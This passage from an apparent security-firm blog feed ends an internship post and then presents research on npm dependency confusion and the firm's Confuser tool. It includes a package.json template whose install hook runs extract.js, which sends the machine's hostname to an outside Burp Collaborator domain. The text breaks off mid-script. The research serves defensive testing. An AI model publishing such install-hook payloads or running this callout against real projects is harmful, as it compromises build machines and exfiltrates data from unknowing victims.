&lt;h3 id=&quot;should-you-become-an-intern&quot;&gt;Should You Become an Intern?&lt;/h3&gt;
&lt;p&gt;When I was looking for an internship, I wanted to find a role that would let me learn a lot. Most of the other factors were low-priority for me because the role is temporary. If you really enjoy application security and want to learn more about it, this internship is a great way to do that. The people at Doyensec are very knowledgeable about a wide variety of application security topics, and are happy to share their knowledge with an intern.&lt;/p&gt;

&lt;p&gt;Even though my priority was learning, it was also nice that the work is performed remotely and with flexible hours. I found that some days I preferred to stop work at around 2-3 PM and then continue in the night. I think these conditions are desirable to anyone, not just interns.&lt;/p&gt;

&lt;p&gt;As for qualifications, Doyensec has stated that the ideal candidate:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Already has some experience with manual source code review and Burp Suite / OWASP ZAP&lt;/li&gt;
  &lt;li&gt;Learns quickly&lt;/li&gt;
  &lt;li&gt;Should be able to prepare reports in English&lt;/li&gt;
  &lt;li&gt;Is self-organized&lt;/li&gt;
  &lt;li&gt;Is able to learn from his/her mistakes&lt;/li&gt;
  &lt;li&gt;Has motivation to work/study and show initiative&lt;/li&gt;
  &lt;li&gt;Must be communicative (without this it is difficult to teach effectively)&lt;/li&gt;
  &lt;li&gt;Brings something to the mix (e.g., creativity, academic knowledge, etc.)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;My experience before the internship consisted mostly of bug bounty hunting and CTFs. There are not many other opportunities for college students with zero experience, so I had spent nearly two years bug hunting part-time before the internship. I also had the OSWE certification to demonstrate capability for source code review, but this is definitely not required (they’ll test you anyway!). Simply being an active participant in CTFs with a focus on web security and code review may be enough experience. You may also have some other way of learning about web security if you don’t usually participate in CTFs.&lt;/p&gt;

&lt;h3 id=&quot;final-thoughts&quot;&gt;Final Thoughts&lt;/h3&gt;
&lt;p&gt;I enjoyed my internship at Doyensec. There was a good balance between learning and responsibility that has prepared me to work in an application security role at Doyensec or elsewhere.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;If you’re interested in the role and think you’d make a good fit, apply via our careers page:&lt;/strong&gt; &lt;a href=&quot;https://www.careers-page.com/doyensec-llc&quot;&gt;https://www.careers-page.com/doyensec-llc&lt;/a&gt;. We’re now accepting candidates for the Fall Internship 2022.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Dependency Confusion</title>
   <link href="https://blog.doyensec.com/2022/07/21/dependency-confusion.html"/>
   <updated>2022-07-21T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2022/07/21/dependency-confusion</id>
   <content type="html">&lt;p&gt;On Feb 9th, 2022 PortSwigger &lt;a href=&quot;https://portswigger.net/research/top-10-web-hacking-techniques-of-2021&quot;&gt;announced&lt;/a&gt;  Alex Birsan’s &lt;a href=&quot;https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610&quot;&gt;Dependency Confusion&lt;/a&gt; as the winner of the Top 10 web hacking techniques of 2021. Over the past year this technique has gained a lot of attention. Despite that, in-depth information about hunting for and mitigating this vulnerability is scarce.&lt;/p&gt;

&lt;p&gt;I have always believed the best way to understand something is to get hands-on experience. In the following post, I’ll show the results of my research that focused on creating an all-around tool (named Confuser) to test and exploit potential Dependency Confusion vulnerabilities in the wild. To validate the effectiveness, we looked for potential Dependency Injection vulnerabilities in top ElectronJS applications on Github (&lt;em&gt;spoiler: it wasn’t a great idea!&lt;/em&gt;).&lt;/p&gt;

&lt;p&gt;The tool has helped Doyensec during engagements to ensure that our clients are safe from this threat, and we believe it can facilitate testing for researchers and blue-teams too.&lt;/p&gt;

&lt;h2 id=&quot;so-what-is-dependency-confusion&quot;&gt;So… what is Dependency Confusion?&lt;/h2&gt;

&lt;p&gt;Dependency confusion is an attack against the build process of the application. It occurs as a result of a misconfiguration of the private dependency repositories. Vulnerable configurations allow downloading versions of local packages from a main public repository (e.g., &lt;em&gt;registry.npmjs.com&lt;/em&gt; for NPM). When a private package is registered only in a local repository, an attacker can upload a malicious package to the main repository with the same name and higher version number. When a victim updates their packages, malicious code will be downloaded and executed on a build or developer machine.&lt;/p&gt;

&lt;h3 id=&quot;why-is-it-so-hard-to-study-dependency-injection&quot;&gt;Why is it so hard to study Dependency Injection?&lt;/h3&gt;

&lt;p&gt;There are multiple reasons why, despite all the attention, Dependency Confusion seems to be so unexplored.&lt;/p&gt;

&lt;h4 id=&quot;there-are-plenty-of-dependency-management-systems&quot;&gt;There are plenty of dependency management systems&lt;/h4&gt;

&lt;p&gt;Each programming language utilizes different package management tools, most with their own repositories. Many languages have multiple of them. JavaScript alone has &lt;a href=&quot;https://www.npmjs.com/&quot;&gt;NPM&lt;/a&gt;, &lt;a href=&quot;https://yarnpkg.com/&quot;&gt;Yarn&lt;/a&gt; and &lt;a href=&quot;https://bower.io/&quot;&gt;Bower&lt;/a&gt; to name a few. Each tool comes with its own ecosystem of repositories, tools, options for local package hosting (or lack thereof). It is a significant time cost to include another repository system when working with projects utilizing different technology stacks.&lt;/p&gt;

&lt;p&gt;In my research I have decided to focus on the NPM ecosystem. The main reason for that is its popularity. It’s a leading package management system for JavaScript and my secondary goal was to test ElectronJS applications for this vulnerability. Focusing on NPM would guarantee coverage on most of the target applications.&lt;/p&gt;

&lt;h4 id=&quot;actual-exploitation-requires-interaction-with-3rd-party-services&quot;&gt;Actual exploitation requires interaction with 3rd party services&lt;/h4&gt;

&lt;p&gt;In order to exploit this vulnerability, the researcher needs to upload a malicious package to a public repository. Rightly so, most of them actively work against such practices. On NPM, malicious packages are flagged and removed along with banning of the owner account.&lt;/p&gt;

&lt;p&gt;During the research, I was interested in observing how much time an attacker has before their payload is removed from the repository. Additionally, NPM is not actually a target of the attack, so among my goals was to minimize the impact on the platform itself and its users.&lt;/p&gt;

&lt;h4 id=&quot;reliable-information-extraction-from-targets-is-hard&quot;&gt;Reliable information extraction from targets is hard&lt;/h4&gt;

&lt;p&gt;In the case of a successful exploitation, a target machine is often a build machine inside a victim organization’s network. While it is a great reason why this attack is so dangerous, extracting information from such a network is not always an easy task.&lt;/p&gt;

&lt;p&gt;In his original research, Alex proposes DNS extraction technique to extract information of attacked machines. This is the technique I have decided to use too. It requires a small infrastructure with a custom DNS server, unlike most web exploitation attacks, where often only an HTTP Proxy or browser is enough. This highlights why building tools such as mine is essential, if the community is to hunt these bugs reliably.&lt;/p&gt;

&lt;h2 id=&quot;the-tool&quot;&gt;The tool&lt;/h2&gt;

&lt;p&gt;So, how to deal with those problems? I have decided to try and create &lt;strong&gt;Confuser&lt;/strong&gt; - a tool that attempts to solve the aforementioned issues.&lt;/p&gt;

&lt;p&gt;The tool is OSS and available at &lt;a href=&quot;https://github.com/doyensec/confuser&quot;&gt;https://github.com/doyensec/confuser&lt;/a&gt;.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Be respectful and don’t create problems to our friends at NPM!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;the-process&quot;&gt;The process&lt;/h2&gt;

&lt;p&gt;Researching any Dependency Confusion vulnerability consists of three steps.&lt;/p&gt;

&lt;h3 id=&quot;step-1-reconnaissance&quot;&gt;Step 1) Reconnaissance&lt;/h3&gt;

&lt;p&gt;Finding Dependency Confusion bugs requires a package file that contains a list of application dependencies. In case of projects utilizing NPM,  the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;package.json&lt;/code&gt; file holds such information:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Doyensec-Example-Project&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;version&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;1.0.0&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;description&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;This is an example package. It uses two dependencies: one is a public one named axios. The other one is a package hosted in a local repository named doyensec-library.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;main&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;index.js&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;author&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Doyensec LLC &amp;lt;info@doyensec.com&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;license&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;ISC&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;dependencies&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;axios&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;^0.25.0&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;doyensec-local-library&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;~1.0.1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;another-doyensec-lib&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;~2.3.0&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When a researcher finds a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;package.json&lt;/code&gt; file, their first task is to identify potentially vulnerable packages. That means packages that are not available in the public repository. The process of verifying the existence of a package seems pretty straightforward. Only one HTTP request is required. If a response status code is anything but 200, the package probably does not exist:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;check_package_exists&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;package_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requests&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NPM_ADDRESS&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;package/&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;package_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;allow_redirects&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;status_code&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Simple? Well… almost. NPM also allows scoped package names formatted as follows: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@scope-name/package-name&lt;/code&gt;. In this case, package can be a target for Dependency Confusion if an attacker can register a scope with a given name. This can be also verified by querying NPM:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;check_scope_exists&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;package_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;split_package_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;package_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'/'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;scope_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;split_package_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requests&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NPM_ADDRESS&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;~&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;scope_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;alow_redirects&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The tool I have built allows the streamlining of this process. A researcher can upload a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;package.json&lt;/code&gt; file to my web application. In the backend, the file will be parsed, and have its dependencies iterated. As a result, a researcher receives a clear table with potentially vulnerable packages and the versions for a given project:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../../../public/images/depconfusion1.png&quot; alt=&quot;Vulnerable packages view&quot; align=&quot;center&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The downside of this method is the fact, that it requires enumerating the NPM service and dozens of HTTP requests per each project. In order to ease the strain put on the service, I have decided to implement a local cache. Any package name that has been once identified as existing in the NPM registry is saved in the local database and skipped during consecutive scans. Thanks to that, there is no need to repeatedly query the same packages. After scanning about 50 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;package.json&lt;/code&gt; files scraped from Github I have estimated that the caching has decreased the number of required requests by over 40%.&lt;/p&gt;

&lt;h3 id=&quot;step-2-payload-generation-and-upload&quot;&gt;Step 2) Payload generation and upload&lt;/h3&gt;

&lt;p&gt;Successful exploitation of a Dependency Confusion vulnerability requires a package that will call home after it has been installed by the victim. In the case of the NPM, the easiest way to do this is by exploiting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;install&lt;/code&gt; hooks. NPM packages allow hooks that ran each time a given package is installed. Such functionality is the perfect place for a dependency payload to be triggered. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;package.json&lt;/code&gt; template I used looks like the following:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;package_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;version&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;package_version&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;description&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;This package is a proof of concept used by Doyensec LLC to conduct research. It has been uploaded for test purposes only. Its only function is to confirm the installation of the package on a victim's machines. The code is not malicious in any way and will be deleted after the research survey has been concluded. Doyensec LLC does not accept any liability for any direct, indirect, or consequential loss or damage arising from the use of, or reliance on, this package.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;main&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;index.js&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;author&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Doyensec LLC &amp;lt;info@doyensec.com&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;license&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;ISC&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;dependencies&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;scripts&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;install&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;node extract.js {project_id}&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Please note the description that informs users and maintainers about the purpose of the package. It is an attempt to distinguish the package from a malicious one, and it serves to inform both NPM and potential victims about the nature of the operation.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;install&lt;/code&gt; hook runs the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;extract.js&lt;/code&gt; file which attempts to extract minimal data about the machine it has been run on:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;https&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;os&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;hostname&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;hostname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;TextEncoder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;stringify&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;hostname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;project_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;options&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;hostname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;hostname&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;.jylzi8mxby9i6hj8plrj0i6v9mff34.burpcollaborator.net&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;443&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
